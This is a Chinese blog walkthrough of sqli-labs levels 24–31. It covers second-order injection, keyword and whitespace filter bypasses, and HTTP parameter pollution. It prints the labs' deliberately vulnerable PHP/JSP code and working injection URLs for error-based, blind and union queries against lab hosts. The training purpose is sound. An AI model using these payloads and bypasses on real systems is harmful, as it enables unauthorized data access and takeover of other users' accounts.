sql-lab二次注入以及绕过(24-31)

博主： alexsel
发布时间：2019 年 08 月 10 日
1575 次浏览
暂无评论
3320字数
分类：网络安全

Less-24

本关为二次排序注入的示范例子。二次排序注入也称为存储行注入，就是将可能导致sql注入的字符先存入到数据库中，当再次调用这个恶意代码的时候，就可以出发sql注入。

二次排序的思路：

1.黑客通过构造数据的形式在浏览器或者其他其他软件中提交HTTP数据报文请求到服务器端进行处理，提交的数据报文请求中可能包含了黑客构造的sql语句或者命令。
2.服务端应用程序会将黑客提交的数据信息进行存储，通常是保存在数据库中，保存的数据信息主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
3.黑客向服务器发送第二个与第一次不相同的请求数据信息。
4.服务器接收到黑客提交的第二个请求信息之后，为了处理该请求，服务器会查询数据库中已经存在的数据信息并处理，从而导致黑客在第一次请求中构造的sql语句或者命令在服务端环境中执行。
5.服务端返回执行的处理结果的信息，黑客可以通过返回的结果数据信息判断二次输入漏洞利用是否成功。
此例子中我们的利用步骤是注册一个admin'#的账号，接下来登录该账号后进行密码修改。此时修改的就是admin的密码。

我们可以查看一下源码：
登录的源码：
查看源码之后，我们可以知道我们输入的用户和密码中，经过mysql_real_escape_string函数处理之后，在以下字符前添加反斜杠: x00, n, r, , ', " 和 x1a，所以我们暂时无法在登录的时候进行注入。当查询有结果的时候，会将用户名写入到session中。

function sqllogin(){
   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
   if ($row[1]) {
               
            return $row[1];
   } else {
              return 0;
   }
}
$login = sqllogin();
if (!$login== 0) 
{
    $_SESSION["username"] = $login;
    setcookie("Auth", 1, time()+3600);  /* expire in 15 Minutes */
    header('Location: logged-in.php');
}

die()

die() 函数输出一条消息，并退出当前脚本。
该函数是 exit() 函数的别名。
die(status)
status    必需。规定在退出脚本之前写入的消息或状态号。状态号不会被写入输出如果 status 是字符串，则该函数会在退出前输出字符串。
如果 status 是整数，这个值会被用作退出状态。退出状态的值在 0 至 254 之间。退出状态 255 由 PHP 保留，不会被使用。状态 0 用于成功地终止程序。
如果 PHP 的版本号大于等于 4.2.0，那么在 status 是整数的情况下，不会输出该参数。

修改密码的源码：
修改的源码里我们可以看到首先会判断cookie中是否有Auth字段，然后判断session中是否有username字段，这个字段是我们在登录中会将登录成功的用户名写入到这个字段中，如果没有设置cookie中的Auth字段或者session中的username字段就会返回登录的页面。如果我们进行了登录，他会使用mysql_real_escape_string函数过滤我们输入的密码，当我们修改的密码两次的输入内容都是相同的情况下，我们就会执行修改密码的sql语句，

if (!isset($_COOKIE["Auth"]))
{
    if (!isset($_SESSION["username"])) 
    {
           header('Location: index.php');
    }
    header('Location: index.php');
}
if (isset($_POST['submit']))
{
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);
    if($pass==$re_pass)
    {    
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();

        if($row==1)
        {
            echo "Password successfully updated";
        }
        else
        {
            header('Location: failed.php');
        }
    }
    else
    {
        echo '<font size="5" color="#FFFF00"><center>';
        echo "Make sure New Password and Retype Password fields have same value";
        header('refresh:2, url=index.php');
    }
}

创建用户的源码：
创建用户的源码和修改密码类似不过执行了一个插入的操作。

if (isset($_POST['submit']))
{
    $username=  mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);
    $sql = "select count(*) from users where username='$username'";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
      $row = mysql_fetch_row($res);
    if (!$row[0]== 0) 
        {
        ?>
        <script>alert("The username Already exists, Please choose a different username ")</script>;
        <?php
        header('refresh:1, url=new_user.php');
           } 
        else 
        {
               if ($pass==$re_pass)
            {
                   $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
                   mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());
                    echo "</br>Redirecting you to login page in 5 sec................";
                    echo "<font size='2'>";
                    echo "</br>If it does not redirect, click the home button on top right</center>";
                    header('refresh:5, url=index.php');
            }
            else
            {
            ?>
            <script>alert('Please make sure that password field and retype password match correctly')</script>
            <?php
            header('refresh:1, url=new_user.php');
            }
        }
}

我们为了测试，在登录的时候将password也写入到session中，然后在登录之后输出password，我们查看写到数据库中的内容是什么，当我们注册一个密码为admin123'#的用户时，最后输出的密码是如下，我们可以看到我们输入的密码被转义了：
我们尝试修改源代码，使其登录时候的用户名和sql语句以及session存放的用户名：

我们可以看到经过转义的用户名中多了转义符号，注入语句中也有转义符号，但是写入数据库之后，转义符号功能实现，单引号写入数据库，所以当我们从数据库拿出数据的时候是不带转义符号的，紧接着我们登录成功后，用户名的获取是从数据库中提取出来的，所以不带转义符号，接下来我们修改密码的时候，用的直接是session中username，是没有转义过的，所以我们在修改密码的时候单引号和注释符号就起了作用，使原本的sql语句从如下：

$sql = "UPDATE users SET PASSWORD='admin1' where username='admin123\'#' and password='admin123' ";

变成了：

$sql = "UPDATE users SET PASSWORD='admin1' where username='admin'# and password='admin' ";

最终仅仅判断了用户名且用户名是admin账户，导致admin账户的密码被修改。
步骤如下：
首先注册一个账户admin'#，接着我们登录这个账户，然后进行密码修改，最终就导致修改的是admin的密码。

Less-25

这一关我们直接输入单引号发现直接报错，但是我们尝试使用?id=1 and 1=1#却失败，提示中报错的位置是1=1，我们判断可能是我们的and被过滤掉了，然后我们继续输入&&，发现还是有错误，我们可以查看一下源码

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    //fiddling with comments
    $id= blacklist($id);
    $hint=$id;
// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo 'Your Login name:'. $row['username'];
          echo 'Your Password:' .$row['password'];
      }
    else 
    {
        print_r(mysql_error());
    }
}
else 
{ 
    echo "Please input the ID as parameter with numeric value";
}

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)
    return $id;
}

preg_replace中的i：如果设定此修正符，模式中的字符将同时匹配大小写字母。
经过我们的分析，我们知道了当我们想要使用&&符号代替and的时候，我们需要知道的是在http和POST中，传递多个参数中间的分隔符也是&，所以我们如果想要实现其与and同样的目的，我们需要将&&经过url编码才能正常使用：

而代替or的||不需要url编码即可代替or的功能，因为他不像&一样有特殊含义：

知道了这些之后我们我们总结一下：

大小写变形oR，Or，OR
编码，hex，urlencode
添加注释/*or*/
利用符号and=&&，or=||
接下来我们就利用符号来尝试绕过进行注入

我们可以看到已经注出了当前数据库，后续的操作按部就班操作即可。其中%26是&符号的url编码。在这里我们自己添加了代码，将sql语句输出在了最上面一行，方便我们观察。

Less-25a

首先我们进行数字型和字符型的测试
经过我们的测试发现，这次是字符性的注入，并且还是将and和or进行了过滤。

http://192.168.252.159/sqli-labs/Less-25a/
?id=1%26%261=1

我们直接使用union select 来判断列数，我们从1开始，如果列数匹配就会返回正确内容，而且我们需要记住，前面的查询需要失败，所以我们将前面的值设置为-1：

接着我们查询当前数据库：

后续的操作就照旧即可。

Less-26

经过我们的测试，and无法使用，是单引号注入，且无法使用#进行注释，后来我们有发现空格被过滤掉了。
我们可以分析一下源码：

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $id= blacklist($id);
    $hint=$id;
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {          echo 'Your Login name:'. $row['username'];
          echo 'Your Password:' .$row['password'];
      }
    else 
    {
        print_r(mysql_error()); 
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

我们看过源码之后，我们可以知道其过滤了or，and，/*，--，#，空格，/\\\这些内容，既然过滤了那么多，我们还是有机会可以绕过比如：
oandr，o r，a n d，等
这里我们知道了一个技巧，就是当注入是字符型的时候我们可以在带有单引号包裹的字符之间使用不添加空格使用关键字：

正常情况下我们可以用如下来代替空格：

%09 TAB键（水平）
%0a 新建的一行
%0b TAB键（垂直）
%0c 新的一页
%0d return功能
%a0 空格

1.不间断空格\u00A0,主要用在office中,让一个单词在结尾处不会换行显示,快捷键ctrl+shift+space ;
2.半角空格(英文符号)\u0020,代码中常用的;
3.全角空格(中文符号)\u3000,中文文章中使用;

我们测试的时候是在windows系统环境下，以上的格式都没有成功，如果是linux下我们可以使用：
?id=1'%a0||'1
同时，我们此处的sql语句为select * from users where id='1' || '1' limt 0,1，我们可以看出第一个'闭合id中的左边那个单引号，第二个'是闭合右边那个单引号，成功测试的环境是（ubuntu14.04+apache+mysql+php，可以解析%a0，在windows+wamp，以及phpstudy均不能成功），同时%0b可以通过测试，其他不可以。
如果我们想要在windows下绕过，我们还有不是用空格查询的技巧，给需要加空格的地方加括号：

取反加hex()，得到的hex就我们要的结果的hex

或者加反引号：

我们报错注入查询尝试：

http://192.168.252.159/sqli-labs/Less-26/
?id=1%27a%20nd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(info%20rmation_schema.tables)where(table_schema=database()))),0x7e),1)an%20d'1

尝试盲注：

延时
http://192.168.252.159/sqli-labs/Less-26/
?id=1%27an%20d(if(1=1,sleep(5),1))an%20d'1
布尔
http://192.168.252.162/sqli-labs/Less-26/
?id=1%27an%20d(if(1=1,0,1))an%20d'1

接下来的注入方式就按照以往即可。
我们再测试一下再ubuntu(apache+mysql+php+tomcat)环境中对空格的绕过：
我们可以看到我们使用%a0可以当作空格来使用。

http://192.168.252.135/sqli-labs-php7/Less-26/?id=1'%a0%26%26%a0updatexml(1,concat(0x7e,(select%a0database()),0x7e),1)%26%26%a0%271

剩余几个的测试：
%09 失败

%0a 失败，效果同上
%0b失败，效果同上
%0c失败，效果同上
%0d失败，同上
最终能用的只有%a0

Less-27

一开始我们尝试输入?id=1'，发生报错，接着我们尝试?id=1' and 1=1#返回结果如下：

从错误返回我们可以知道这次过滤了空格以及#注释符，我们尝试使用其他方式绕过
我们测试?id=1'and'1'='1，返回正确：

既然这样可以绕过，我们就根据之前分析出来的没有空格的注入方式进行测试：

mysql> select 1 and(updatexml(1,concat(0x7e,(select(group_concat(`table_name`))f
rom`information_schema`.`tables`where`table_schema`=database()),0x7e),1));

不过我们发现他过滤了select，我们尝试大小写转换使用select

http://192.168.252.162/sqli-labs/Less-27/
?id=1' and(updatexml(1,concat(0x7e,(sElEct(group_concat(`table_name`))f
rom`information_schema`.`tables`where`table_schema`=database()),0x7e),1))and'1

我们查看一下源码：

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $id= blacklist($id);
    $hint=$id;
// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo 'Your Login name:'. $row['username'];
          echo 'Your Password:' .$row['password'];
      }
    else 
    {
        print_r(mysql_error());
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select
return $id;
}

通过分析源码我们可以知道，这次过滤的是/*,-,#,select,select中的空格等等。

php正则：

i
如果设定此修正符，模式中的字符将同时匹配大小写字母。
m
当设定了此修正符，“行起始”和“行结束”除了匹配整个字符串开头和结束外，还分别匹配其中的换行符的之后和之前。
s
如果设定了此修正符，模式中的圆点元字符（.）匹配所有的字符，包括换行符。没有此设定的话，则不包括换行符。
x
如果设定了此修正符，模式中的空白字符除了被转义的或在字符类中的以外完全被忽略，在未转义的字符类之外的 #以及下一个换行符之间的所有字符，包括两头，也都被忽略。 
e
如果设定了此修正符，preg_replace() 在替换字符串中对逆向引用作正常的替换，

? 在 . + 和 * 之后 表示非贪婪匹配: *、+和?限定符都是贪婪的，因为它们会尽可能多的匹配文字，只有在它们的后面加上一个?就可以实现非贪婪或最小匹配。

我们之前的sql命令完全避开了他的过滤，完成了注入。

Less-27a

经过我们的测试，我们发现是双引号的盲注
布尔测试：

我们尝试注出数据库：
我们判断出了数据库是security

既然可以那我们继续尝试判断表名：

http://192.168.252.162/sqli-labs/Less-27a/
?id=1"%26%26(if(ascii(substr((sElEct(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1))=101,1,0))%26%26"1

后续的操作大家都懂的

Less-28

我们首先测试单引号的时候会出现错误，紧接着我们发现存在布尔注入。

http://192.168.252.162/sqli-labs/Less-28/
?id=1'%26%26(if(1=1,1,0))%26%26'1

http://192.168.252.162/sqli-labs/Less-28/
?id=1'%26%26(if(ascii(substr((sElEct(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1))=101,1,0))%26%26'1

我们用上一关的思路就过了，不过我们还是要看一下源码来深入了解一下：

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $id= blacklist($id);
    $hint=$id;
// connectivity 
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo 'Your Login name:'. $row['username'];
          echo 'Your Password:' .$row['password'];
      }
    else 
    {
        //print_r(mysql_error());
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}

这里的过滤思路是将union中间又1到多个空格然后跟着select过滤掉，但是没有过滤单个的union和select，所以我们可以使用select。

Less-28a

还是之前的方法，我们还是判断出又布尔注入

我们还是看看源码，和之前的有什么区别：

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $id= blacklist($id);
    $hint=$id;
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo 'Your Login name:'. $row['username'];
          echo 'Your Password:' .$row['password'];
      }
    else 
    {
        //print_r(mysql_error());
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
//$id= preg_replace('/[--]/',"", $id);                //Strip out --.
//$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out spaces.
return $id;
}

我们看到这里的过滤少了许多所以我们可以使用之前的方式进行注入。
服务器（两层）构架
首先介绍一下29,30,31这三关的基本情况

服务端有两个部分：第一部分为tomcat为引擎的jsp型服务器，第二部分为apache为引擎的php服务器，真正提供web服务的是php服务器。工作流程为：client访问服务器，可以直接访问到tomcat服务器，然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。
此处我们再介绍一下我们本次实验的环境，使用的是apache+php+mysql+tomcat。
这里还有需要我们理解的地方，那就是当我们传递多个同名参数，会造成什么情况。
例如：index.php?id=1&id=2

上面图片介绍了大部分服务器对参数接受的情况，我们接下来要测试的是apache+tomcat，我们的参数首先发送给tomcat，经过处理之后发送给apache，通过上图我们可以看到apache接收最后一个参数，tomcat接收第一个参数，这样就会产生一个问题，就是到底接收的是哪个参数，经过我们的分析，接收的应该是上述例子中的第二个参数id=2，因为实际上提供服务的是apache服务器，返回的数据也是经过apache处理的数据。我们使用的应用场景中，也是有两层服务器的情况，这是因为我们在tomcat服务器中做数据处理和过滤，其实现的功能就类似于一个waf，正是因为参数的不同，我们此处可以利用该原理绕过waf的检测，该用发就是HPP（HTTP Parameter Pollution），http参数污染攻击的一个应用。HPP可以对服务器和客户端造成一定的威胁。

Less-29

本关卡中就是使用了tomcat+apache两层的结构，我们首先看一下index.jsp中的源码：

<%
    String id = request.getParameter("id");
    String qs = request.getQueryString();

    if(id!=null)
    {
        if(id!="")
        {
            try
            {
                String rex = "^\\d+$";
                Boolean match=id.matches(rex);
                if(match == true)
                {
                    URL sqli_labs = new URL("http://127.0.0.1/sqli-labs-php7/Less-29//Less-29/index.php?"+ qs);
                    URLConnection sqli_labs_connection = sqli_labs.openConnection();
                    BufferedReader in = new BufferedReader(
                                            new InputStreamReader(
                                            sqli_labs_connection.getInputStream()));
                    String inputLine;
                    while ((inputLine = in.readLine()) != null) 
                        out.print(inputLine);
                    in.close();
                }
                else
                {
                    response.sendRedirect("hacked.jsp");
                }
            } 
            catch (Exception ex)
            {
                out.print("<font color= '#FFFF00'>");
                out.println(ex);
                out.print("</font>");                
            }
            finally
            {}
        }
    }
    else
    {
        URL sqli_labs = new URL("http://127.0.0.1/sqli-labs-php7/Less-29/index.php");
        URLConnection sqli_labs_connection = sqli_labs.openConnection();
        BufferedReader in = new BufferedReader(
                                new InputStreamReader(
                                sqli_labs_connection.getInputStream()));
        String inputLine;
        while ((inputLine = in.readLine()) != null) 
            out.print(inputLine);
        in.close();
    }
%>

我们可以看到他使用了String id = request.getParameter("id");String qs = request.getQueryString();来接收参数，其中getParameter是接收了第一个id的值，getQueryString接收了所有的查询，就是id=1&id=2，然后再接下来的代码中对id进行了处理，使用正则匹配，只获取数字部分（^\\d+$，其中^表示开头，\d是数字，+是匹配前面类型的字符一个到多个，$是以前面类型的字符结尾）。
还有就是request.getQueryString()只能得到get传输的参数，POST传输的参数他得不到。
分析过后我们来进行测试，首先我们输入id=1&id=2，我们可以看到返回了查询的内容，其中id=1&id=2是jsp中获取的qs内容，第二行是php中sql查询的语句。

我们看到查询语句之后，我们可以直接尝试在id=2这个参数进行注入，首先我们再id=2后面添加了'，发现可以报错，我们就接着尝试注出数据库，测试发现--+可以继续用来注释。

http://192.168.252.135:8080/sqli-labs/Less-29/index.jsp
?id=1&id=-2' union select 1,(select database()),3--+

之后的操作就没什么难度了，不过我们还可以看看php中的代码：

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $qs = $_SERVER['QUERY_STRING'];
    echo $qs;
    $hint=$qs;
// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysqli_query($con1, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);
    if($row)
    {
          echo 'Your Login name:'. $row['username'];
          echo 'Your Password:' .$row['password'];
      }
    else 
    {
        print_r(mysqli_error($con1));
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
?>

我们看到在 php代码中已经没有过滤了，所以我们直接在第二参数的位置就能完成注入。

Less-30

我们在第二参数中判断出是双引号注入，接着我们尝试注出数据库：

http://192.168.252.135:8080/sqli-labs/Less-30/index.jsp
?id=1&id=-2" union select 1,(select database()),3--+

后续的就是常规操作了。

Less-31

这一关与上一关相比多了一个括号，我们还是直接绕过即可。

http://192.168.252.135:8080/sqli-labs/Less-31/
?id=1&id=-2") union select 1,(select database()),3--+

这里我们仅仅介绍了参数污染绕过waf的一个应用场景，其实他的作用还有很多，以后我们继续研究。

最后修改：2020 年 08 月 26 日

如果觉得我的文章对你有用，请随意赞赏

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

评论 *

私密评论

名称 *

🎲

邮箱 *

地址

PHP_Session反序列化漏洞
浏览次数: 5919
10种方法绕过云锁以及tamper
浏览次数: 5729
红队实验七
浏览次数: 3280
Bypass-云锁绕过
浏览次数: 3206
Linux提权总结
浏览次数: 2750

111
师傅好文章，图片坏了好多
Ulysses
不过最新版的云锁已经不能用这种方法绕过了⌇●﹏●⌇
Ulysses
真榜！学到了ヾ(≧∇≦*)ゝ
未尽
感谢师傅提供的思路，能否给个收款码，请师傅喝杯咖啡。

ActiveMQ反序列化漏洞
浏览次数: 1325
PHP代码审计思路
浏览次数: 612
红队实验二
浏览次数: 1193
红队实验五
浏览次数: 1028
Java反序列化URLDNS
浏览次数: 794

sql-lab二次注入以及绕过(24-31)

alexsel • 2019 年 08 月 10 日

<h3>Less-24</h3>本关为二次排序注入的示范例子。二次排序注入也称为存储行注入，就是将可能导致sql注入的字符先存入到数据库中，当再次调用这个恶意代码的时候，就可以出发sql注入。二次排序的思路：<blockquote>1.黑客通过构造数据的形式在浏览器或者其他其他软件中提交HTTP数据报文请求到服务器端进行处理，提交的数据报文请求中可能包含了黑客构造的sql语句或者命令。 2.服务端应用程序会将黑客提交的数据信息进行存储，通常是保存在数据库中，保存的数据信息主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。 3.黑客向服务器发送第二个与第一次不相同的请求数据信息。 4.服务器接收到黑客提交的第二个请求信息之后，为了处理该请求，服务器会查询数据库中已经存在的数据信息并处理，从而导致黑客在第一次请求中构造的sql语句或者命令在服务端环境中执行。 5.服务端返回执行的处理结果的信息，黑客可以通过返回的结果数据信息判断二次输入漏洞利用是否成功。 此例子中我们的利用步骤是注册一个admin'#的账号，接下来登录该账号后进行密码修改。此时修改的就是admin的密码。</blockquote>我们可以查看一下源码： 登录的源码： 查看源码之后，我们可以知道我们输入的用户和密码中，经过mysql_real_escape_string函数处理之后，在以下字符前添加反斜杠: x00, n, r, , ', " 和 x1a，所以我们暂时无法在登录的时候进行注入。当查询有结果的时候，会将用户名写入到session中。<pre><code class="lang-sql">function sqllogin(){
 $username = mysql_real_escape_string($_POST[&quot;login_user&quot;]);
 $password = mysql_real_escape_string($_POST[&quot;login_password&quot;]);
 $sql = &quot;SELECT * FROM users WHERE username='$username' and password='$password'&quot;;
 $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
 $row = mysql_fetch_row($res);
 if ($row[1]) {
 
 return $row[1];
 } else {
 return 0;
 }
}
$login = sqllogin();
if (!$login== 0) 
{
 $_SESSION[&quot;username&quot;] = $login;
 setcookie(&quot;Auth&quot;, 1, time()+3600); /* expire in 15 Minutes */
 header('Location: logged-in.php');
} </code></pre>die()<pre><code class="lang-php">die() 函数输出一条消息，并退出当前脚本。
该函数是 exit() 函数的别名。
die(status)
status 必需。规定在退出脚本之前写入的消息或状态号。状态号不会被写入输出如果 status 是字符串，则该函数会在退出前输出字符串。
如果 status 是整数，这个值会被用作退出状态。退出状态的值在 0 至 254 之间。退出状态 255 由 PHP 保留，不会被使用。状态 0 用于成功地终止程序。
如果 PHP 的版本号大于等于 4.2.0，那么在 status 是整数的情况下，不会输出该参数。</code></pre>修改密码的源码： 修改的源码里我们可以看到首先会判断cookie中是否有Auth字段，然后判断session中是否有username字段，这个字段是我们在登录中会将登录成功的用户名写入到这个字段中，如果没有设置cookie中的Auth字段或者session中的username字段就会返回登录的页面。如果我们进行了登录，他会使用mysql_real_escape_string函数过滤我们输入的密码，当我们修改的密码两次的输入内容都是相同的情况下，我们就会执行修改密码的sql语句，<pre><code class="lang-php">if (!isset($_COOKIE[&quot;Auth&quot;]))
{
 if (!isset($_SESSION[&quot;username&quot;])) 
 {
 header('Location: index.php');
 }
 header('Location: index.php');
}
if (isset($_POST['submit']))
{
 $username= $_SESSION[&quot;username&quot;];
 $curr_pass= mysql_real_escape_string($_POST['current_password']);
 $pass= mysql_real_escape_string($_POST['password']);
 $re_pass= mysql_real_escape_string($_POST['re_password']);
 if($pass==$re_pass)
 { 
 $sql = &quot;UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' &quot;;
 $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
 $row = mysql_affected_rows();

if($row==1)
 {
 echo &quot;Password successfully updated&quot;;
 }
 else
 {
 header('Location: failed.php');
 }
 }
 else
 {
 echo '&lt;font size=&quot;5&quot; color=&quot;#FFFF00&quot;&gt;&lt;center&gt;';
 echo &quot;Make sure New Password and Retype Password fields have same value&quot;;
 header('refresh:2, url=index.php');
 }
}</code></pre>创建用户的源码： 创建用户的源码和修改密码类似不过执行了一个插入的操作。<pre><code class="lang-php">if (isset($_POST['submit']))
{
 $username= mysql_escape_string($_POST['username']) ;
 $pass= mysql_escape_string($_POST['password']);
 $re_pass= mysql_escape_string($_POST['re_password']);
 $sql = &quot;select count(*) from users where username='$username'&quot;;
 $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
 $row = mysql_fetch_row($res);
 if (!$row[0]== 0) 
 {
 ?&gt;
 &lt;script&gt;alert(&quot;The username Already exists, Please choose a different username &quot;)&lt;/script&gt;;
 &lt;?php
 header('refresh:1, url=new_user.php');
 } 
 else 
 {
 if ($pass==$re_pass)
 {
 $sql = &quot;insert into users ( username, password) values(\&quot;$username\&quot;, \&quot;$pass\&quot;)&quot;;
 mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
 echo &quot;&lt;/br&gt;Redirecting you to login page in 5 sec................&quot;;
 echo &quot;&lt;font size='2'&gt;&quot;;
 echo &quot;&lt;/br&gt;If it does not redirect, click the home button on top right&lt;/center&gt;&quot;;
 header('refresh:5, url=index.php');
 }
 else
 {
 ?&gt;
 &lt;script&gt;alert('Please make sure that password field and retype password match correctly')&lt;/script&gt;
 &lt;?php
 header('refresh:1, url=new_user.php');
 }
 }
}</code></pre>我们为了测试，在登录的时候将password也写入到session中，然后在登录之后输出password，我们查看写到数据库中的内容是什么，当我们注册一个密码为admin123'#的用户时，最后输出的密码是如下，我们可以看到我们输入的密码被转义了： <img src="https://www.helloimg.com/images/2020/08/25/1c02088e0292f20cc.png" alt="" title="" style="">我们尝试修改源代码，使其登录时候的用户名和sql语句以及session存放的用户名： <img src="https://www.helloimg.com/images/2020/08/25/2a4a878a704003caa.png" alt="" title="" style=""> <img src="https://www.helloimg.com/images/2020/08/25/3105fb7ee542deab2.png" alt="" title="" style=""> 我们可以看到经过转义的用户名中多了转义符号，注入语句中也有转义符号，但是写入数据库之后，转义符号功能实现，单引号写入数据库，所以当我们从数据库拿出数据的时候是不带转义符号的，紧接着我们登录成功后，用户名的获取是从数据库中提取出来的，所以不带转义符号，接下来我们修改密码的时候，用的直接是session中username，是没有转义过的，所以我们在修改密码的时候单引号和注释符号就起了作用，使原本的sql语句从如下：<pre><code class="lang-php">$sql = &quot;UPDATE users SET PASSWORD='admin1' where username='admin123\'#' and password='admin123' &quot;;</code></pre>变成了：<pre><code class="lang-php">$sql = &quot;UPDATE users SET PASSWORD='admin1' where username='admin'# and password='admin' &quot;;</code></pre>最终仅仅判断了用户名且用户名是admin账户，导致admin账户的密码被修改。 步骤如下： 首先注册一个账户<code>admin'#</code>，接着我们登录这个账户，然后进行密码修改，最终就导致修改的是admin的密码。<h3>Less-25</h3>这一关我们直接输入单引号发现直接报错，但是我们尝试使用<code>?id=1 and 1=1#</code>却失败，提示中报错的位置是1=1，我们判断可能是我们的and被过滤掉了，然后我们继续输入&&，发现还是有错误，我们可以查看一下源码<pre><code class="lang-php">if(isset($_GET['id']))
{
 $id=$_GET['id'];
 //fiddling with comments
 $id= blacklist($id);
 $hint=$id;
// connectivity 
 $sql=&quot;SELECT * FROM users WHERE id='$id' LIMIT 0,1&quot;;
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);
 if($row)
 {
 echo 'Your Login name:'. $row['username'];
 echo 'Your Password:' .$row['password'];
 }
 else 
 {
 print_r(mysql_error());
 }
}
else 
{ 
 echo &quot;Please input the ID as parameter with numeric value&quot;;
}

